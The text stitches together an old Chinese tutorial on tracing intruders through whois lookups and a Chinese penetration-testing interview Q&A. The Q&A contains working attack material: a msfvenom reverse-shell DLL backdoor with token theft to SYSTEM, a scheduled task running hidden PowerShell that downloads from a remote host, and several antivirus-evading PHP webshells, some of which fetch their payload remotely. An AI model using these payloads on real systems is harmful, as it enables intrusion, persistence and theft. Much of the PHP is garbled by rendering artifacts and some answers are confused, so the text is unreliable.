雖然同樣是 Domain Name, 可能你會遇到三種命名的不同情況。在許多國家 *.edu.*是由 NIC以外的單位所管理(如教育部 ),而屬性也不 一定是三個字 母,甚至沒有屬性。在判斷單位性質時讀者宜多加注意,以免找不到資料。
1.標準國碼 + 三碼屬性碼 (或沒有國碼 ,僅有屬性碼 )普遍使用於歐洲,美洲國家以及部份東南亞國家。如台灣常見 *.edu.tw、 *.com.tw、 .org.tw,美國的.com、 *.edu。
2.標準國碼 + 二碼屬性碼 。以離我國最近的日本、中華人民共和國為例,公司屬性為 co,社團屬性為 or,和三碼定義的 com、 org略有不 同。如 日本萬代公司之Homepage為 http://www.bandai.co.jp,如果讀者要使用公司名稱拼湊出完整主機名稱時,需注意日本為僅有兩碼屬性碼 之地區,否則若猜測其為 http://www.bandai.com.jp就會發生錯誤 (註:在國際通信範例中,無論是無線電通信、國際越洋電話、乃至於網際網路 等,均將台灣與中國大陸劃分為兩個不同國家)。
- 僅有標準國碼,未有任何屬性碼。如澳洲的主機均為僅有*.au之主機名稱,未有任何其他的 com、 co 或任何單位屬性碼後面直接接上單 位名稱 。
由 Domain Name查出連線單位資料在Internet上慣例由 whois服 務來查詢連線單位的登記資料,whois本來應該是用來查某人的電話或是 其他資料的 (有點像是 finger或是現在很流行的尋人服務,像是 whowhere、 bigfoot、AOL之類的 ),但是在 NIC方面是用來查出連線單位 的電話以及住址,技術聯絡人等 。 符合該NIC管理權限的單位資料會存放於該單位的 whois主機中,慣例是 whois+ NIC名 稱 + net。例如 亞太地區網路管理中心 whois server為whois.apnic.net,台灣網路中心whois server為whois.twnic.net。當你知道某台主機的 Domain Name以後,可以依照下面順序查出連線單位的電話住址等資料。
Whois查詢系統使用概說
當您得到某個Domain Name或是 IP Address後 ,根據上個步驟使用適合的whois系統(whois.**nic.net)來查出資料,語法如下: whois
- h < whois 伺 服 器 > < 查 詢 對 象 > 例 如 向 whois.internic.net 查 詢 hp.com, 需 輸 入 :
whois
- h whois.internic.net hp.com whois 也 可 能 使 用 下 列 語 法 :
whois < 查 詢 對 象 > @< whois 伺 服 器 > 例如向 whois.twnic.net 查 詢 ntu.edu.tw 需輸入 : whois ntu.edu.tw@whois.twnic.net 目 前 在 Slackware Linux 附 上 的 為 後 者 。
看不懂上面的參數嗎?站長用比較簡單方法解釋給你聽。
hp.com因其無國碼(tw.jp),所以不是由 InterNIC管理就是由洲際的NIC管理,那我們先到InterNIC查看看。所以在瀏覽器的URL處鍵 http://whois.internic.net/,在其查詢的空白列鍵入hp.com
如果你這樣還看不懂,唉…放棄也是人生的一部份….教賣落啊
- ——————————————————————————-#
實例示範#
首先,先看有沒有國碼。沒有國碼的,向 whois.internic.net問;有國碼的, 向 whois.國碼 nic.net問 (ex. whois.twnic.net)。另外,如果你 要查美國軍事單位的聯絡明細 (假如某天你發現有人利用美國海軍的網路來入侵你的電腦)則你需要向 nic.ddn.mil查詢,方可查到資料。例如 查出美國陸軍的資料:但 FBI等調查機構屬政府單位,非軍事單位,查詢時需注意。
★Domain Name的查法
由 Domain Name查出資料您能從 nslookup查出某一 IP Address之FQDN,則可以直接向當地 NIC查出入侵者網路之資料:
1.由 美 國 入 侵 的 例 子#
由 xxx.aol.com入侵由主機名稱發現未有國碼,因此直接向 InterNIC查詢 (whois.internic.net)。由此我們可以查到 America Online的技術負 責人以及電話、傳真等資料,把你的系統紀錄檔準備好,發封傳真去告洋狀吧!
2.由 台 灣 入 侵 的 例 子#
由 Hope Net入侵 (cded1. hope.com.tw) 有tw國碼,所以向當地的NIC查詢。但由於TWNIC目前 whois資料庫不知怎麼的不見了,故請改由 http://dbms.seed.net.tw/查 出 hope.com.tw之中文名稱,再打 104 查號台詢問該公司的電話 !
現在如果直接由 whois.twnic.net查 詢 會 這 樣 :
★只有 IP Address的查法
若某天您發現被由 168.95.109.222這個人入侵,假設您不知道這是 HiNet的網路,而這個 IP Address也沒有 Domain Name的話,則須先將 IP Address分等級,再向 InterNIC查詢。(IP分級說明請按這兒) (以下作為範例之位址均為虛構,如有雷同,純屬巧合 )。
1.由 15.4.75.2入 侵 的 例 子#
此 IP Address是 15 開頭,為一個Class A網路,故向InterNIC查詢 15.0
查出此 IP Address為惠普公司所有
2.由 140.111.32.53入 侵 的 例 子#
此 IP Address為 Class B網路, 需查詢兩次。先向 InterNIC查詢 140.111.0 查出為中華民國教育部所有。再向 whois. twnic.net查詢 140.111.32.0 很可惜的,由於 TWNIC資 料 庫不見了,因此您無法知道這是哪個學術單位。勞駕您打個電話去TWNIC問吧! 依站長經驗有可 能是中山大學。
3. 由 203.66.35.1入 侵 的 例 子#
這是一個 Class C IP,因此必須查詢至少二次,一般是三次。順序為國際->洲際->所屬國家。
先查 203.0 出來一大堆,怎麼辦?有的情況只好再追問 Class B。由於InterNIC將部份 Class C交給洲際管理機構來負責配給 , 因此有些 Class C的資料會在洲際管理機構,此時先向InterNIC查出所屬洲際管理機構 (用 Class B問,即鍵入203.66.0)。 問到 203.66為亞太地區洲際網路,於是向 whois.apnic.net詢問203.66.35.0 查了三次以後,終於查 到 203.66.35.0為在一堆資料中 查到 203.66.35.1, 此 一 IP Address為 Forwardness Technology Co. Ltd.所有,電話地址也一併附在上面。以上的查法,可以由任一主機名稱 或 IP Address查到連線者網路單位的資料,如果您發現該網路單位下屬主機對您的網路有攻擊行為,請檢具資料告訴對方的系統管理員 (對 方不一定會鳥你,站長就碰過很惡劣的系統管理員)
二十八、如何对一个电商网站进行渗透测试? 如果你已经进入到订单查询接口,#
发现有注入你怎么得到订单数据?#
对一个电商网站进行渗透测试时,一般可以从以下几个方面入手:#
1. 前端漏洞:包括 XSS、CSRF 等漏洞,可以通过输入一些特殊的字符或者构造特定的请求来触发漏洞,从而获取敏感信息或者进行恶意#
操作。#
2. 后端漏洞:包括 SQL 注入、文件上传、逻辑漏洞等,可以通过构造特殊的请求或者探测服务端的漏洞来获取敏感信息或者实现攻击。#
3. 敏感信息泄露:包括密码明文存储、敏感信息在 URL 参数中传递、敏感信息在 HTML 页面中显示等,可以通过查找网站的敏感信息泄#
露漏洞来获取敏感信息。#
如果已经进入到订单查询接口,发现有注入,可以通过以下步骤来获取订单数据:#
1.探测注入点:通过手工构造特殊的请求,探测出注入点的位置和类型。#
2.判断数据库类型:根据注入点的特征,判断数据库类型,例如是否是 MySQL、SQL Server 等。
3.构造 SQL 语句:针对不同的数据库类型,构造相应的 SQL 语句,例如 UNION SELECT、SELECT FROM 等。
4.获取数据:根据构造的 SQL 语句,获取订单数据。可以使用 SQLMap 等工具来自动化获取数据。二十九、给你一个医院的 client server 客户端,怎么渗透? 除了反编译还有什#
么办法?#
对于医院的 client server 客户端,除了反编译,还可以考虑以下几个方面进行渗透测试:
1.调试:可以使用调试工具,例如 OllyDbg、x64dbg 等,对客户端进行调试,了解客户端的执行流程和内部机制,找出可能存在的漏洞。
2.Hook 技术:可以使用 Hook 技术,例如 API Hook,通过 Hook 相关的 API 函数,获取客户端执行时的数据和执行流程,从而分析客户端 的行为,并找出漏洞。
3.模拟攻击:可以对客户端进行模拟攻击,例如模拟恶意数据输入、模拟恶意请求等,测试客户端的防御能力,找出漏洞。
4.客户端漏洞利用:可以使用已知的客户端漏洞,例如缓冲区溢出、格式化字符串漏洞等,进行漏洞利用,以获取客户端的敏感信息或者进 行恶意操作。
三十、如果你的网站已经确认通过 mysql udf 提权方式入侵,你帮我找一下有#
没有放置恶意的函数?客户服务器只开了 22 端口如何加固?#
如果你的网站已经确认通过 mysql udf 提权方式入侵,可以通过以下步骤来查找是否有恶意的函数:
1. 确认 udf 是否被安装:使用以下语句查看是否已经安装了恶意的 udf:如果返回结果为空,则表示没有安装恶意的 udf。
2. 查看 udf 的定义:如果已经安装了恶意的 udf,可以使用以下语句查看 udf 的定义:复制代码select * from mysql.func where name='udf_name'复制代码show create function udf_name如果 udf 的定义中包含恶意代码,则表示存在恶意函数。 如果发现了恶意的函数,应立即停止服务器上的 MySQL 服务,并从服务器上
删除恶意的函数和相关文件。 对于客户服务器只开了 22 端口的情况,可以考虑以下几个方面进行加固:
3. 更新系统和应用程序:及时更新系统和应用程序,安装安全补丁,以修复已知漏洞和提高系统的安全性。
4. 加强身份认证:通过限制访问 IP、使用强密码、启用多重身份认证等方式,提高身份认证的安全性。
5. 配置防火墙:使用防火墙限制客户服务器只开放必要的端口和服务,限制来自不受信任的网络的访问。
6. 加强日志监控:使用日志监控工具,记录客户服务器的网络访问和系统操作,及时发现异常行为。三十一、dll 劫持进行提权的具体操作是什么?#
1.通过火绒剑分析进程#
分析进程调用模块,找到可以利用的dll文件,本次试验劫持idmmkb.dll文件2.MSF生成后门dll木马#
3.上传替换#
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.61.131 lport=8888 -f dll
>C:\Users\Ninja\Desktop\idmmkb.dll4.MSF监听#
等待程序运行,木马执行。#
5.配合令牌窃取进行提权#
>use exploit/multi/handler
>set payload windows/meterpreter/reverse_tcp
>set lhost 192.168.61.131
>set lport 8888
>exploit>use incognito (进入incognito模块)
>list_tokens -u (列出令牌)
>impersonate_token "NT AUTHORITY\\SYSTEM"三十二、对 UDF 跟 mof 提权熟悉吗?简单说下它们的原理#
UDF和MOF都是Windows操作系统提权的一种方式,原理如下:
1. UDF(User Defined Function)提权:UDF是一种自定义函数,它可以在SQL Server中执行,并利用其中的漏洞来获取系统管理员权
限。UDF提权的原理是通过SQL Server的CLR(Common Language Runtime)功能,在SQL Server中执行自定义的DLL文件,并利用
DLL中的漏洞来获取系统管理员权限。
2. MOF(Managed Object Format)提权:MOF是一种用于描述Windows管理对象的文件格式。通过MOF文件中的WMI(Windows
Management Instrumentation)设置,攻击者可以利用其中的漏洞来获取系统管理员权限。MOF提权原理是通过WMI设置中的漏
洞,利用系统服务或进程的权限执行恶意代码,从而获取系统管理员权限。 总的来说,UDF和MOF提权都是利用系统中某些功能或组
件的漏洞,通过执行自定义代码或模块来获取系统管理员权限。因此,为了防止这些提权攻击,建议及时升级系统补丁、加强安全策
略、禁用不必要的服务和组件,以及使用安全软件和工具对系统进行监控和防御。三十三、拿下一台主机是 admin 权限,怎么提升到 system 权限?#
以下利用方式的前提是已经获取了计算机的administrator权限。1. 通过sc命令(只适用于win xp)#
以system权限启动notepad2. 通过计划任务命令(win7-win10)#
计划任务有两种命令,at与schtasks。
2.1 通过at命令实现(只适用于win7)#
以system权限在早晨7.50分启动notepad2.2 通过schtasks实现(win7-win10)#
以system权限在每天早晨7.50分启动notepadsc Create badcode binPath= "cmd /c notepad.exe" type= own type= interact
sc start badcodeat 7:50 notepad.exe3. 通过psexec#
#隐藏打开的notepad的窗口。
#以交互式的形式打开notepad
4. Meterpreter#
获得administrator权限后直接使用getsystem命令即可获得system权限。
简单点说实现的原理是windows中倘若程序A创建了一个服务并提供了命名管道,然后system权限的服务B在链接此命名管道的时候程序A就 能利用ImpersonateNamedPipeClient()函数来获得system权限。
schtasks /Create /TN badcode /SC DAILY /ST 07:50 /TR "powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring(\\\"http://172.16.250.3:802/a\\\"))\"" /RU SYSTEM
schtasks /run /tn badcode
schtasks /Query /TN badcode
schtasks /Delete /TN badcode /Fpsexec.exe -accepteula -s -d notepad.exepsexec.exe -accepteula -s -i notepad.exe三十四、说一下平时项目中如何针对目标实现提权,驻留,横向渗透的过程以及#
方法说一下针对堡垒机与限制隔离环境的 APT 渗透过程应该注意的事项#
在项目中,针对目标实现提权、驻留、横向渗透的过程和方法通常包括以下几个步骤:#
1. 信息收集:收集目标的 IP 地址、域名、子域名、端口、操作系统版本、应用程序版本等信息,以了解目标的基本情况。#
2. 漏洞扫描:对目标进行漏洞扫描,发现可利用的漏洞,例如弱口令、未授权访问、文件上传、SQL 注入等。#
3. 渗透测试:根据漏洞扫描的结果,利用漏洞进行渗透测试,例如获取管理员权限、上传 Webshell、执行命令等。
4. 驻留:在目标系统中驻留,例如通过添加用户、修改服务、安装后门等方式,以确保之后能够持久地控制系统。
5. 横向渗透:在目标系统中向其他系统渗透,例如利用已经控制的系统,攻击其他受害系统,以扩大攻击面。 针对堡垒机与限制隔离环
境的 APT 渗透过程,应该注意以下几点:
6. 堡垒机的安全性:堡垒机是企业内部网络安全的重要组成部分,应该加强堡垒机的安全性,例如使用强密码、启用多重身份认证、限制
访问 IP 等。
7. 隔离环境的安全性:隔离环境通常是企业内部网络的安全边界,应该严格限制内部网络和隔离环境之间的访问,防止攻击者利用隔离环
境入侵内部网络。
8. 信息收集的难度:由于堡垒机和隔离环境的存在,攻击者需要花费更多的时间和精力进行信息收集,以了解目标系统的基本情况和攻击
面。
9. 提权和横向渗透的难度:堡垒机和隔离环境通常会限制攻击者的权限和攻击面,使得攻击者难以进行提权和横向渗透。
10. 防御措施的加强:针对堡垒机和隔离环境的攻击,企业应该加强防御措施,例如加强堡垒机的日志监控、使用网络隔离技术、限制内部
网络和隔离环境之间的访问等。三十五、你用的工具要是存在后门怎么办?要是客户数据是因为你的后门被盗了#
怎么办?#
作为一名合规的安全专家,我在使用工具时会严格遵守相关法律法规和道德规范,绝不会使用存在后门的工具。如果我不慎使用了存在后门#
的工具,我会立即停止使用,并及时通知相关方进行修复和处理。#
对于客户数据被盗的情况,我会第一时间通知客户,并积极配合客户进行调查和处理。同时,我会承担相应的责任和赔偿,尽力保护客户的#
合法权益。 我深知安全专家的职责和使命,保护客户的数据安全和隐私是我工作的首要任务。因此,我会时刻保持警惕,提高安全意识,确#
保客户数据的安全和保密。#
三十六、查询子域名,除了用工具查询,还有什么方法?还有哪些查询子域名的工#
具?它的工作原理是什么?是怎么实现这个子域名的查询的?#
方法一:nmap dns 暴力破解 https://blog.csdn.net/weixin_43605586/article/details/90291896 (我之前写的帖子)
方法二:网站查询 站长之家:权重综合查询(不过这个只有在收录很多的情况下才有,比较小的网站很有可能没有一条信息) (http://rank.chinaz.com/all/) 会查出很多(对大网站来说) 比nmap扫描出来的更多
法三:在线爆破网站#
https://phpinfo.me/domain/ (在线枚举爆破)(其实是通过字典比对)
法四:基于dns记录查询子域 https://dns.bufferover.run/dns?q=
法 4 还会有对应的ip地址出来 但是是相同的ip 应该是有cdn,不是真实ip
法 5 谷歌语法搜索 github搜索
法 6 :集成工具(更加全面) sublist3r https://github.com/abou131a/Sublist3r
贴一个我使用的照片#
不过这个我试了几次它才给我爆出这个结果,弄不出来时候,多试几次。#
方法 7 :#
基于证书的查询#
只有https的网站才可以这样。
方法八: 网站查询并导出数据 http://www.dnsscan.cn
** 总结: 先使用软件sublist3r收集子域名,然后可以试试其他软件收集子域名,因为各个域名的情况都不一样,比如一个被爬虫收录很差的域名,那 么可能在各个搜索引擎收集的子域名不全,还需要加上暴力破解(方法一和方法三,爆破的结果取决于爆破字典是否有这个域名的子域名) 而若这个网站收录很高,所以在搜索引擎中搜索出来的域名已经是非常多的,就不用暴力破解了。
多种方法都用会搜出更多东西,而法 6 是个集成工具下载地址,这个使用更加更加方便,只用使用这一种工具搜索即可。(如果搜的出来的 话),方法八:DNSSCAN网站查询也挺全面的
三十七、说一下 ssql 拿权限的条件说一下 ssql 绕过方法#
SSQL(Server Side Query Language)是一种用于数据库管理的语言,可以在服务器端执行数据库操作。由于SSQL可执行任意SQL语句, 因此存在被攻击者滥用的风险,例如通过SSQL注入攻击获取数据库权限。
攻击者可以通过以下条件进行SSQL注入攻击:1. 存在未经过滤的用户输入:攻击者可以在用户输入中注入恶意的SQL语句,从而执行任意数 据库操作。2. SSQL接口的参数未经过严格的验证:攻击者可以通过修改SSQL接口的参数来执行恶意的数据库操作。3. SSQL接口存在漏洞: 例如SQL语句拼接错误、缺少权限验证等,攻击者可以利用这些漏洞来执行恶意操作。
SSQL注入攻击的防御措施包括:1. 进行参数过滤和验证:对于用户输入的参数,应该进行严格的过滤和验证,例如限制输入长度、类型、字 符集等。2. 使用预编译语句:可以使用预编译语句来避免SQL语句拼接错误,从而减少注入攻击的风险。3. 给SSQL接口添加权限验证:可以 在SSQL接口中添加权限验证,限制用户的操作范围,从而减少恶意操作的可能性。
SSQL注入攻击的绕过方法包括:1. 绕过参数过滤:攻击者可以使用特殊字符、编码、转义等方法来绕过参数过滤,从而注入恶意SQL语 句。2. 利用错误提示:攻击者可以通过输入错误的参数,利用错误提示中的信息来获取数据库结构和数据。3. 利用多语句执行:攻击者可以 在SSQL中注入多条SQL语句,从而执行多个操作,例如获取数据库信息、创建表、插入数据等。
三十八、webshell 提权有哪些思路?#
如果 webshell 上传到目标系统后被查杀,可以采取以下措施:
1.修改 webshell:修改 webshell 的代码,使其不易被查杀,例如修改文件名、加密代码、使用反弹 shell 等。
2.转移 webshell:将 webshell 转移到其他目录或其他系统中,以躲避查杀。
3.删除 webshell:删除已经被查杀的 webshell,以防止被发现和利用。
至于 webshell 提权的思路,主要有以下几种方式:
1.利用已知的漏洞:通过搜索和利用已知的漏洞,例如文件上传漏洞、SQL 注入漏洞等,获取管理员权限。
2.利用系统的自身功能:例如利用系统命令执行漏洞、利用系统的计划任务等,获取管理员权限。
3.利用系统的配置问题:例如利用系统权限配置不当、文件权限不当等问题,获取管理员权限。
4.提权工具:利用提权工具,例如 Meterpreter、PowerSploit、PowerUp 等工具,提升权限。
三十九、上传 webshell 你会做免杀吗?怎么做免杀?说说木马免杀的思路#
0x00:前言#
由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免 杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束。
0x01:自定义加密Bypass#
部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则 比如某dir+
比如这个 都能被检测出是shell
所以为了防止这种的规则 自定义加密显然是最优解
自定义加密可选性多了 只要能把加密后的字符还原回去就行 比如base32 base58 这类的base编码全家桶 或者自定义ascii移位 甚至是对称加 密算法等都是可以绕过这类规则检测 base32编码payload (https://github.com/pureqh/webshell):
<?phpclass KUYE{ public $DAXW = null;
new KUYE(); function MNWK($QSFX){ $BASE32_ALPHABET = ‘abcdefghijklmnopqrstuvwxyz234567’; $NLHB = ‘’; $v = 0; v b i t s = 0 ; f o r ( vbits = 0; for ( vbits=0;for(i = 0, j = s t r l e n ( j = strlen( j=strlen(QSFX); $i < $j; $i++){ $v «= 8; v + = o r d ( v += ord( v+=ord(QSFX[$i]); v b i t s + = 8 ; w h i l e ( vbits += 8; while ( vbits+=8;while(vbits >= 5) { $vbits -= 5; $NLHB .= B A S E 3 2 A L P H A B E T [ BASE32_ALPHABET[ BASE32ALPHABET[v » $vbits]; $v &= ((1 « KaTeX parse error: Expected ‘EOF’, got ‘}’ at position 13: vbits) - 1);}̲} if (vbits > 0){ $v «= (5 - $vbits); $NLHB .= B A S E 3 2 A L P H A B E T [ BASE32_ALPHABET[ BASE32ALPHABET[v];} return KaTeX parse error: Expected ‘EOF’, got ‘}’ at position 6: NLHB;}̲ function SYXJ(QSFX){ $NLHB = ‘’; $v = 0; v b i t s = 0 ; f o r ( vbits = 0; for ( vbits=0;for(i = 0, j = s t r l e n ( j = strlen( j=strlen(QSFX); $i < $j; $i++){ v < < = 5 ; i f ( v «= 5; if ( v«=5;if(QSFX[$i] >= ‘a’ && Q S F X [ QSFX[ QSFX[i] <= ‘z’){ v + = ( o r d ( v += (ord( v+=(ord(QSFX[KaTeX parse error: Expected ‘EOF’, got ‘}’ at position 18: …) - 97); }̲ elseif (QSFX[$i] >= ‘2’ && Q S F X [ QSFX[ QSFX[i] <= ‘7’) { $v += (24 + Q S F X [ QSFX[ QSFX[i]); } else { exit(1);
public $LRXV = null;
function __construct(){
$this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
$this->LRXV = @SYXJ($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}}#
v b i t s + = 5 ; w h i l e ( vbits += 5; while ( vbits+=5;while(vbits >= 8){ $vbits -= 8; N L H B. = c h r ( NLHB .= chr( NLHB.=chr(v » $vbits); $v &= ((1 « $vbits) - 1);}} return $NLHB;} ?>
ascii码移位payload(凯撒加密)#
<?phpclass FKPC{ function __construct(){ $this->TQYV = “bs^i%!\MLPQXwbolZ&8”; t h i s − > W Z D M = @ H H G J ( this->WZDM = @HHGJ( this−>WZDM=@HHGJ(this->TQYV); @eval(“/ #jkskjwjqo /”.KaTeX parse error: Expected ‘EOF’, got ‘#’ at position 17: …his->WZDM."/sj#̲ahajsj/"); …UyGv) { $svfe = []; $mxAS = ‘’; $f = U y G v ; f o r ( UyGv; for ( UyGv;for(i=0; i < s t r l e n ( i<strlen( i<strlen(f);$i++) { s v f e [ ] = c h r ( ( o r d ( svfe[] = chr((ord( svfe[]=chr((ord(f[$i])+3)); } m x A S = i m p l o d e ( mxAS = implode( mxAS=implode(svfe); return $mxAS ; } ?>
居然没过webdir+
那如何解决呢 我们后面再说 当然应付D盾还是绰绰有余了
Rot13加密payload
<?phpclass KUYE{ public $DAXW = null; public $LRXV = null; function __construct(){ t h i s − > D A X W = ′ r i n y ( this->DAXW = ‘riny( this−>DAXW=′riny(_CBFG[mreb]);’; t h i s − > L R X V = @ s t r r o t 13 ( this->LRXV = @str_rot13( this−>LRXV=@strrot13(this->DAXW); @eval(“/ GnSpe=u /”.$this->LRXV.“/ GnSpe=u /”); }} new KUYE();
?>
二进制转化payload#
<?phpclass KUYE{ public $DAXW = null; public $LRXV = null; function __construct(){ $this->DAXW = ‘1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011’; t h i s − > L R X V = @ B i n T o S t r ( this->LRXV = @BinToStr( this−>LRXV=@BinToStr(this->DAXW); @eval(“/ GnSpe=u /”.KaTeX parse error: Expected ‘EOF’, got ‘}’ at position 36: …u*/"); }̲} new KUYE(); f…str){ $arr = explode(’ ‘, s t r ) ; f o r e a c h ( str); foreach( str);foreach(arr as &$v){ v = p a c k ( " H “. s t r l e n ( b a s e c o n v e r t ( v = pack(“H”.strlen(base_convert( v=pack(“H”.strlen(baseconvert(v, 2, 16)), base_convert($v, 2, 16)); }
}#
?>#
这里就不列举了 只要方法正确 绕过杀软是很简单的#
0x02:通过http获得关键参数#
上面那个凯撒密码不是被webdir+杀了吗 我们在这里将他绕过
众所周知凯撒密码需要设置往前或往后移几位ascii 这个参数可以设置为解密方法的输入参数 经过测试 此参数在源码中会被沙盒跑出了 因此 不能过百度杀毒 ,那么 我不写本地不就行了 我直接起一个http服务访问文本获得参数值。
<?phpclass FKPC{ function __construct(){ $url = “http://xxxxx:8080/1.txt”; f p = f o p e n ( fp = fopen( fp=fopen(url, ‘r’); stream_get_meta_data( f p ) ; w h i l e (! f e o f ( fp); while (!feof( fp);while(!feof(fp)) { b o d y. = f g e t s ( body.= fgets( body.=fgets(fp, 1024); } $this->x = $body; $this->TQYV = “bs^i%!\MLPQXwbolZ&8”; t h i s − > W Z D M = @ H H G J ( this->WZDM = @HHGJ( this−>WZDM=@HHGJ(this->TQYV,KaTeX parse error: Expected ‘EOF’, got ‘#’ at position 28: … @eval(”/#̲jkskjwjqo/".this->WZDM.“/ sj#ahajsj /”); }} new FKPC();
function HHGJ( U y G v , UyGv, UyGv,x) { $svfe = []; $mxAS = ‘’; $f = U y G v ; f o r ( UyGv; for ( UyGv;for(i=0; i < s t r l e n ( i<strlen( i<strlen(f);$i++) { s v f e [ ] = c h r ( ( o r d ( svfe[] = chr((ord( svfe[]=chr((ord(f[ i ] ) + i])+ i])+x)); } m x A S = i m p l o d e ( mxAS = implode( mxAS=implode(svfe); return $mxAS ; } ?>
当然肯定能用#
return join('', $arr);但是 这转了一圈简直不低碳啊 我不能直接http获取payload吗 …
简化代码:
<?phpclass KUYE{ public $a = ‘yshasaui’; public $b = ‘’; function __construct(){ $url = “http://xxx/1.txt”; f p = f o p e n ( fp = fopen( fp=fopen(url, ‘r’); stream_get_meta_data( f p ) ; w h i l e (! f e o f ( fp); while (!feof( fp);while(!feof(fp)) { b o d y. = f g e t s ( body.= fgets( body.=fgets(fp, 1024); } $this->b = b o d y ; @ e v a l ( " / ∗ G n S p e = 121 u ∗ / “. body; @eval(”/GnSpe=121u/". body;@eval("/∗GnSpe=121u∗/".this->b. “/ Gn212Spe=u /”); }} new KUYE(); ?>
0x03:重写函数Bypass#
众所周知 正则类杀软最喜欢直接把危险函数加入规则 那么 它杀的是函数名 还是逻辑呢?#
试一试就知道了#
我们的样本如下:#
这是个使用substr函数切割关键字的小马
直接扔到webdir+杀
毫无疑问的被杀了#
那么 我们重写substr函数
function mysubstr($string, $start = 0, $length = null) {
$result = ‘’;
s t r L e n g t h = s t r l e n ( strLength = strlen( strLength\=strlen(string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = s t a r t < 0? ( start < 0? ( start<0?(strLength + s t a r t ) : ( start) : ( start):(start);
$end = l e n g t h < 0? ( length < 0? ( length<0?(strLength + $length) : $start + l e n g t h ; i f ( length; if ( length;if(start > s t r L e n
g t h ∣ ∣ ( strLength || ( strLength∣∣(end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= s t r i n g [ string[ string[start];
}
return $result;
}然后把函数替换
<?php$b = ‘assert(xyz@’; c = m y s u b s t r ( c = mysubstr( c=mysubstr(b,0,6); c ( c( c(_POST[‘zero’]); function mysubstr($string, $start = 0, $length = null) { $result = ‘’; s t r L e n g t h = s t r l e n ( strLength = strlen( strLength=strlen(string); if ($length === null) { $length = $strLength; } $length = (int) $length; $start = s t a r t < 0? ( start < 0? ( start<0?(strLength + s t a r t ) : ( start) : ( start):(start); $end = l e n g t h < 0? ( length < 0? ( length<0?(strLength + $length) : $start + l e n g t h ; i f ( length; if ( length;if(start > s t r L e n g t h ∣ ∣ ( strLength || ( strLength∣∣(end - $start) === 0) { return $result; } for (; $start < $end; $start ++) { $result .= s t r i n g [ string[ string[start]; } return $result; } ?>
再拿去杀
结论很清楚了#
再来D盾杀一下#
不错 报 2 级了 这就是沙盒型查杀和正则类查杀的明显区别 怎么过呢 用构造方法即可#
<?phpclass pure { public $a = ‘’; function __destruct(){
}#
}#
$b = new pure; $b->a = P O S T [ ′ z e r o ′ ] ; f u n c t i o n m y s u b s t r ( _POST[‘zero’]; function mysubstr( POST[′zero′];functionmysubstr(string, $start = 0, $length = null) { $result = ‘’; s t r L e n g t h = s t r l e n ( strLength = strlen( strLength=strlen(string); if ($length === null) { $length = $strLength; } $length = (int) $length; $start = s t a r t < 0? ( start < 0? ( start<0?(strLength + s t a r t ) : ( start) : ( start):(start); $end = l e n g t h < 0? ( length < 0? ( length<0?(strLength + $length) : $start + l e n g t h ; i f ( length; if ( length;if(start > s t r L e n g t h ∣ ∣ ( strLength || ( strLength∣∣(end - $start) === 0) { return $result; } for (; $start < $end; $start ++) { $result .= s t r i n g [ string[ string[start]; } return $result; }
?>#
看到这里大家可能也很奇怪 这里都没用到mysubstr函数 放上去不是多此一举吗
不好意思 恰恰不是 我们可以去掉这个函数 用D盾杀一下
<?phpclass pure { public $a = ‘’; function __destruct(){
}#
}#
$b = new pure; $b->a = $_POST[‘zero’]; ?>
怎么样 是不是很有趣#
这里放这堆代码并不是为了真的用它 而是为了过D盾的特征查杀 所以放什么函数是无所谓的。#
assert("$this->a");assert("$this->a");比如这样:#
<?phpclass pure { public $a = ‘’; function __destruct(){
}#
}#
$b = new pure; $b->a = P O S T [ ′ z e r o ′ ] ; f u n c t i o n m y s u b s t r ( _POST[‘zero’]; function mysubstr( POST[′zero′];functionmysubstr(a,$b) { echo “?sasasjajksjka”; echo “?sasasjajksjka”; echo “?sasasjajksjka”; echo “?sasasjajksjka”; echo “?sasasjajksjka”; echo “?sasasjajksjka”; echo “?sasasjajksjka”; echo “?sasasjajksjka”; }
?>#
0x04:写在后面#
这里只介绍了重写substr函数 那么其他的函数可以吗 当然可以
四十、怎么判断一个主机是否一个域里面?#
1 、ipconfig /all#
非域内主机#
assert("$this->a");域内主机2 、systeminfo#
非域内主机#
3 、net config workstation#
域内主机#
域内主机非域内主机#
4 、net time /domain#
域内主机,并且当前用户是域用户#
域内主机,当前用户不是域用户,而是本地组用户#
非域内主机#
四十一、抓到一个可疑的包该如何解决? 进入 jboss 控制台怎么 getshell?会#
不会构造攻击语句?#
如果抓到一个可疑的包,可以采取以下措施进行分析和处理:1. 使用抓包工具对该包进行分析,查看包的协议、源地址、目的地址、数据内#
容等信息。2. 使用网络分析工具对该包进行分析,例如 Wireshark、tcpdump 等,查看包的数据流向、协议细节等信息。3. 利用漏洞扫描 工具对目标系统进行扫描,以了解是否存在相关漏洞。4. 进行代码审计,查看目标系统的代码是否存在安全漏洞。5. 进行安全加固,对目标 系统进行安全加固,修复漏洞,提高系统的安全性。
关于进入 JBoss 控制台 getshell,这是一种非常危险的行为,如果未经授权而进行此类行为,是非常违法的。在正式的渗透测试中,我们应 该遵循相关法律法规和道德规范,进行合法的渗透测试。如果需要进行进入 JBoss 控制台的渗透测试,需要经过被测试方的授权,并遵守相 关的安全合规规定,不得进行非法攻击行为,否则将承担相应的法律责任。 对于构造攻击语句,我们应该遵循相关法律法规和道德规范,不得构造非法攻击语句,否则将承担相应的法律责任。在进行渗透测试时,我 们应该遵循合法、合规、安全、可控的原则,尽可能避免对被测试对象和其他人造成不必要的损害。
四十二、说一下钓鱼思路如何拿下域控?#
在渗透测试中,常常会使用钓鱼攻击来获取目标的敏感信息或者控制目标系统。以下是一些可能的钓鱼思路,可以帮助攻击者拿下域控:#
1. 钓鱼邮件:攻击者可以构造一封钓鱼邮件,通过社会工程学手段诱导用户点击附件或链接,从而下载木马或者钓鱼网页,获取用户的账#
